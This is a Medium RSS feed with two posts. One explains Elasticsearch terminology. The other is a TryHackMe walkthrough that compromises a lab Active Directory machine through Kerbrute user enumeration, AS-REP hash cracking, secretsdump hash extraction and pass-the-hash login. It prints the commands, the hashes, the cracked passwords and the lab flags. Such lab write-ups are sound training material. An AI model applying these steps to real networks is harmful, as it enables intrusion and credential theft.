<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Zeyad Tarek on Medium]]></title>
        <description><![CDATA[Stories by Zeyad Tarek on Medium]]></description>
        <link>https://medium.com/@zeyadtarekcs?source=rss-964cca9c74f8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*vLaQnYGhlzcDRy4s</url>
            <title>Stories by Zeyad Tarek on Medium</title>
            <link>https://medium.com/@zeyadtarekcs?source=rss-964cca9c74f8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 11:44:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@zeyadtarekcs/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ELASTIC SEARCH (ELK) TERMINOLOGY]]></title>
            <link>https://medium.com/@zeyadtarekcs/elastic-search-elk-terminology-0cbafaa53ba9?source=rss-964cca9c74f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/0cbafaa53ba9</guid>
            <category><![CDATA[seim]]></category>
            <category><![CDATA[elk]]></category>
            <category><![CDATA[elasticsearch]]></category>
            <dc:creator><![CDATA[Zeyad Tarek]]></dc:creator>
            <pubDate>Thu, 23 May 2024 21:35:57 GMT</pubDate>
            <atom:updated>2024-05-23T21:37:47.992Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*QfXSAs2PvuogPWxf47royQ.png" /></figure><p>We will start the Journey of diving into ELK by defining the terminologies and the idea behind them and their uses and restrictions</p><h3>CLUSTERS</h3><p>Let&#39;s start with the cluster which is the main set of all nodes that run Elastic search that work together</p><h3>NODE</h3><p>the node is the individual instance of elastic search .. note that each server is a node, and one node is a master</p><h3>INDEX</h3><p>The index is the group of documents each index generally holds logs from one and only one source ex: Firewall logs, Windows Logs</p><p>to understand the idea of indexes you can treat them like databases in the traditional sense as each index has its own schema and data types but here it is more flexible</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*hocshqVFc2OLXx-XoN383A.png" /></figure><h3>SHARDS</h3><p>the indexes are a group of shards .. shards are a subset of documents in an index .. the shards are used to split indexes across nodes for performance purposes .. these splits are according to the following .. we have two types of shards</p><p><strong>Primary Shards:</strong> Like RAID0 which is used for speeding the retrieval the documents upon calling .. u can think of it for example u have two drives and want to store one file, u can split the file into the two drives which will speed up the process of retrieving the file</p><p><strong>Replica Shards:</strong> Like RAID1 which is used to provide high availability (we can say they work as a backup of the Primary Shards)</p><p>the below image can demonstrate this topic (the shaded shard is the replica shard)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*TXfQBJ1eA0dBlFFcHZ_bwQ.png" /></figure><p>But what are the Documents we previously mentioned?</p><h3>DOCUMENTS</h3><p>the document is a JSON object in Elasticsearch .. the Single line of Raw log is turned into a document upon being parsed in Elasticsearch search So long story short .. every Log is a Document in the Elasticsearch Realm</p><p>Note that each Document in an index has a unique field called “_id”</p><h3>FEILDS</h3><p>Fields are what logs are broken up into at a low level which can be found as a Key-Value Pair inside a Document or in other words, they are the items inside the JSON objects ex: “username: admin” or “hostname: web-server1”</p><h3>MAPPING</h3><p>Mapping is the process of defining the information about the previously mentioned fields anyone with database knowledge can think of Mapping as the Schema of a database</p><p>as the mapping tells Elastic upon every document for example where is the username field and what datatype can we expect from this field .. is it integer, float, etc?</p><p>by providing this info Elasticsearch knows how this data should be handled</p><p>Every single index has its Mapping. (as every database has it’s schema)</p><p>Mapping is very important for performance</p><p>now after we have learned the main structure let deep dive into some of those terms</p><h3>INDEXES IN DEPTH</h3><p>An index is a group of similarly “shaped” documents as we previously mentioned every index typically has one type of log stored in it.. but in Elastic search, we don’t want the index to be sparse .. imaging if we have an index that stores every firewall logs .. the index will be huge as the number of logs upon the traffic in a normal sized environment will be huge .. so indexes are typically created per unit of time or by size (choice may depend on volume)</p><p><strong>ex: </strong>“Logstash-IDS-2017–01–01” (daily representation — lower volume) “Logstash-firewall-2017–01–01–0100–0200” (hourly representation — high volume)</p><p>Note that indexes are just a naming convention it is the logical containers for a group of shards .. the actual data is stored in the Shards (each shard is its instance of <a href="https://lucene.apache.org/">Apache Lucene</a>)</p><h3>SHARDS IN DEPTH</h3><p>As we said the Shards are Designated Primary or replicas, the Number of Primary shards once set stays as it is .. we cannot change it on the other hand we can change the number of replica shards at any time</p><p>if any of the primary shards goes missing for any reason unless there a replica shards of this primary one the data will vanish this is the importance of the replica shards (we use them as a backup)</p><p>As we have said every shard is its instance of <a href="https://lucene.apache.org/">Apache Lucene</a> this means that the shard is capable of 100% node utilization which means that each instance is its running program running the actual search engine fully capable of taking 100% of the hardware in the node .. that means if we have multiple searches if u hade two different shards and two different nodes each shard will use 100% of the hardware and would be faster than running that same search on two shards in one node so ideally for best performance we need to have one shard on every single node of your cluster which will give us the ultimate speed (will never gonna work in the real world) as it uses the full capability of this server to run the search engine of Lucene but as we said this never gonna work in the real world so the idea to get the maximum speed practically is to use fewer shards per nodes to distribute the load upon nodes</p><p>keep in mind that Apache Lucene is only capable of indexing 2.1 billion documents per shard</p><p>More replica shards will eventually give u more speed .. and replica shards can be changed at any moment so say u started with 3 nodes with 3 primary shards and 3 replica shards on a shard each .. if u buy 3 more nodes can add more 3 replica shards and this will give u more searching speed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7pkHsDLofVNHjBcbv_wyZg.png" /></figure><p>Here is a visual demonstration of all that we discussed now about the terminology</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*icFuKOj9RCYQrcOBSO6Pbw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7WThE0f75DQRH2IjuyhAOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yzzh-_JFpS9lzO4hhHhpqg.png" /></figure><p>Thanks for Reading and stay tuned for the upcoming content about ELK</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0cbafaa53ba9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solving “ATTACKTIVE DIRECTORY”: A Step-by-Step Walkthrough of a Vulnerable Machine on TryHackMe]]></title>
            <link>https://medium.com/@zeyadtarekcs/solving-attacktive-directory-a-step-by-step-walkthrough-of-a-vulnerable-machine-on-tryhackme-5082a2374d6b?source=rss-964cca9c74f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/5082a2374d6b</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Zeyad Tarek]]></dc:creator>
            <pubDate>Fri, 28 Jul 2023 13:43:25 GMT</pubDate>
            <atom:updated>2023-07-28T13:43:25.772Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to this comprehensive writeup detailing the successful exploitation of “ <a href="https://tryhackme.com/room/attacktivedirectory">ATTACKTIVE DIRECTORY</a>” a vulnerable machine hosted on <a href="https://tryhackme.com/dashboard">Tryhackme</a> . In this walkthrough, we will delve into the intricate process of uncovering and exploiting various weaknesses to gain full control of the machine. By sharing my thought process and the tools utilized throughout the journey, this writeup aims not only to document my achievements but also to demonstrate the valuable insights and skills I gained in the process. Let’s begin the journey of unraveling the secrets hidden within “ATTRACTIVE DIRECTORY”!</p><h3>Task 1 (Deploy the machine)</h3><p>A simple step to access the Virtual Machine, you will need to first connect to our network using OpenVPN. By going to your <a href="https://tryhackme.com/access">access</a> page. Select your VPN server of choice and download your configuration file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/0*vEDO38drbA4fg2jE.png" /></figure><p>After downloading the configuration file we connect to the VPN by using this command</p><p>$ sudo openvpn /home/kali/Desktop/coedoverheated41.ovpn</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/0*FWwK2NTrOtzWCSrC.png" /></figure><p>After connecting to this VPN leave this tap opened and open a new tap to start solving the machine</p><h3>Task 2 (Setup)</h3><p>In this step, he wants you to install some helping tools like impacket, Bloodhound, and Neo4j By simply running these commands</p><blockquote><em>$ git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket</em></blockquote><blockquote><em>$ pip3 install -r /opt/impacket/requirements.txt</em></blockquote><blockquote><em>$ cd /opt/impacket/ &amp;&amp; python3 ./setup.py install</em></blockquote><p>IF YOU ARE USING ON ATTACKBOX U ARE READY TO GO !</p><h3>Task 3 (Welcome to Attacktive Directory)</h3><p>To begin our reconnaissance process, we kick off with a fundamental step called “basic enumeration,” which starts with a Nmap scan. Nmap, a sophisticated and well-honed utility, plays a crucial role in identifying open ports, running services, and even determining the underlying operating system on the target device. Nevertheless, it’s worth mentioning that Nmap’s capabilities, despite being comprehensive, may not always lead to complete enumeration of all services.</p><p>As we delve deeper into the challenge, we must recognize that relying solely on Nmap might not provide a comprehensive picture. Thus, to ensure a more thorough enumeration, we will complement our initial Nmap scan with other specialized utilities designed to scrutinize the services running on the target device. By adopting this holistic approach, we can effectively uncover additional information and maximize our enumeration potential.</p><p>To run the nmap scann we will use this command $ sudo nmap -sV -sC -oN nmap.out 10.10.76.108</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gXwHu5NRXNAz1i0K.png" /></figure><p>Upon conducting our nmap enumeration, we have discovered a multitude of services running on the target machine, each playing a unique role in its setup. The identified services include DNS, IIS (Internet Information Services), Kerberos, RPC (Remote Procedure Call), NetBIOS, and the prominent Active Directory among others</p><p>Questions:</p><blockquote><em>What tool will allow us to enumerate port 139/445? </em><em>enum4linux</em></blockquote><blockquote><em>because Ports 139 and 445 are used by SMB. To enumerate SMB a great tool to use is enum4linux.</em></blockquote><blockquote><em>What is the NetBIOS-Domain Name of the machine? </em><em>THM-AD</em></blockquote><blockquote><em>By using enum4linux We found the NetBIOS-Domain Name mentioned many times</em></blockquote><blockquote><em>What invalid TLD do people commonly use for their Active Directory Domain? (TLD means top level domain) </em><em>.local</em></blockquote><blockquote><em>In our Nmap results, we spotted an Active Directory (AD) Domain named “spookysec.local” on port 3389.</em></blockquote><h3>Task 4 (Enumerating Users via Kerberos)</h3><p>In our exploration, we observed numerous active ports, one of which stood out as Kerberos, a crucial authentication service within Active Directory. Leveraging <a href="https://github.com/ropnop/kerbrute/releases">Kerbrute</a> , we can conduct brute force attempts to discover users, passwords, and even attempt password spraying.</p><p>However, for this particular machine, we’ll utilize a customized <a href="https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt">User List</a> and <a href="https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt">Password List</a> to expedite the enumeration process and password hash cracking. It’s important to note that brute forcing credentials may NOT be advisable due to the risk of triggering account lockout policies, which are beyond our ability to enumerate on the domain controller. As such, we’ll proceed with caution, ensuring our approach aligns with the limitations of the challenge environment.</p><p>By running this command ./kerbrute_linux_amd64 usernum -d spookysec.local --dc 10.10.76.108 ~/attactive_directory/usernames.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*axSIiCHROQyQgtnm.png" /></figure><p>There are some interesting accounts here. But surprisingly we found that svc-admin has no pre-auth (TGT) that must be required to get the TGC Not only that but also it provides us with the Kerberos hash</p><p>$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:408ee4a3e91ec877b931d35c56364c77$63dc9e093d6f3ddfd0074033786ed4d4d6e5f3e9f27be7f98866c0c91c4271c6c8a721eafa9e343a2b9638da64fe71d7563c31e51e6aac0686ba9025ab8ff2d41b8b24f38888cd803c70568744a12daa95cca16b73fa6bc5b20f1fb697b29fd1fe39fa0553ae07ad7e6e2f5232e306ee2abf3ee2ba8ebc704bc96f0d60cd245f96f4caa7c20c3a673fba2b25a384593b01e334560348a146d9168e1fc594b8c59e11382193bd2b3f1c421f9d5fdc61167c8f3bfa18d60fc6fca79923c16b707927719330363b593c28ccc0c7dd2c5e7696b43d45a4bc016341f773805c53f51d2b6ae4a0fa3c3280a18a9d53d9b5fd08337c</p><p>By Looking-up the hash head in hashcat help we knew that the type of the hash is 18200 kerberos 5, etype 23, AS-REP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/0*jjERfq8_oF_BrVZp.png" /></figure><p><em>Cracking The Hash</em></p><p>By using HashCat we can try to Decrypt the hash by using the <a href="https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt">Password List</a> provided</p><p>By using this command hashcat -m 18200 TGT.txt pass.txt -o out.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MEwC7Gc8OV1zEYfZ.png" /></figure><p>THE OUTPUT</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KeQFTkAQvWHokAB4.png" /></figure><p><em>SO THE PASSWORD AFTER CRACKING IS : management2005</em></p><p>Questions:</p><blockquote><em>What command within Kerbrute will allow us to enumerate valid usernames? </em><em>userenum</em></blockquote><blockquote><em>What notable account is discovered? (These should jump out at you) </em><em>svc-admin</em></blockquote><blockquote><em>What is the other notable account is discovered? (These should jump out at you) </em><em>backup</em></blockquote><h3>Task 6 (Back to the Basics)</h3><p>Having obtained the user’s account credentials, our access within the domain has substantially increased. With this elevated privilege, we can proceed to enumerate any shares that the domain controller might be granting to users. This step allows us to gain valuable insights into the network’s file-sharing architecture and potentially uncover sensitive information or resources.</p><p>We can do this by using smbclient tool By using this command smbclient -L \\\\10.10.148.99\\ -U svc-admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*L9O143kQZ-nzwhvP.png" /></figure><p>We Found that backup is an interesting Folder so by Grapping it smbclient \\\\10.10.148.99\\backup -U svc-admin We found another interesting File backup_credentials.txt Download it by using the get &lt;file name&gt; command</p><p>We Found that the credentials are in base64 so by Decoding it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/0*lPH2cZx1ca4eK-_a.png" /></figure><p>We got the Result is : <a href="/service/mailto:backup@spookysec.local">backup@spookysec.local</a>:backup2517860</p><p>Questions:</p><blockquote><em>Using utility can we map remote SMB shares? </em><em>smbclient</em></blockquote><blockquote><em>Which option will list shares? </em><em>-L</em></blockquote><blockquote><em>How many remote shares is the server listing? </em><em>6</em></blockquote><blockquote><em>There is one particular share that we have access to that contains a text file. Which share is it? </em><em>backup</em></blockquote><blockquote><em>What is the content of the file? </em><em>YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw</em></blockquote><blockquote><em>Decoding the contents of the file, what is the full contents? </em><em>backup@spookysec.local:backup2517860</em></blockquote><h3>Task 7 (Elevating Privileges within the Domain)</h3><p>Having acquired new user account credentials, our privileges on the system have been significantly elevated. Notably, we came across a user account named “backup,” which sparked our curiosity about its purpose</p><p>As this is the backup account for the Domain Controller. This account has a unique permission that allows all Active Directory changes to be synced with this user account. This includes password hashes.</p><p>So We’ll use one of the impacket tools called secretsdump.py to dump password hashes.</p><p>THE RESULT IS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c9TDqDVP-15pzDYm.png" /></figure><p>As shown we have successfully gained the Administrator credentials</p><p>Questions:</p><blockquote><em>What method allowed us to dump NTDS.DIT? </em><em>DRSUAPI</em></blockquote><blockquote><em>What is the Administrators NTLM hash? </em><em>0e0363213e37b94221497260b0bcb4fc</em></blockquote><blockquote><em>What method of attack could allow us to authenticate as the user without the password? </em><em>Pass the hash</em></blockquote><blockquote><em>Using a tool called Evil-WinRM what option will allow us to use a hash? </em><em>-H</em></blockquote><h3>Task 8 (Flag Submission Panel)</h3><p>Submit the flags for each user account. Which are located on each user’s desktop</p><p>Firstly we use must login as an Administrator which will be done by passing Administrator account’s hash to log in by passing the hash method via evilwinrm tool, we’ll be Administrator user on the system.</p><p>evil-winrm -i &lt;target ip&gt; -u Administrator -H 0e0363213e37b94221497260b0bcb4fc OR there is another method by using psexex.py from impact tools</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*twTPx5oGAK57llP8.png" /></figure><p>BUT ether way u will eventually reach the same goal</p><p>Then FINALLY by navigating through the Desktops of the users we will capture the Flags and the MAchine will be solved !!</p><p>FLAGS</p><p>svc-admin</p><blockquote>Answer<em>: </em>TryHackMe{K3rb3r0s_Pr3_4uth}</blockquote><p>backup</p><blockquote>Answer<em>: </em>TryHackMe{B4ckM3UpSc0tty!}</blockquote><p>Administrator</p><blockquote>Answer<em>: </em>TryHackMe{4ctiveD1rectoryM4st3r}</blockquote><p>THANK YOU FOR READING</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5082a2374d6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>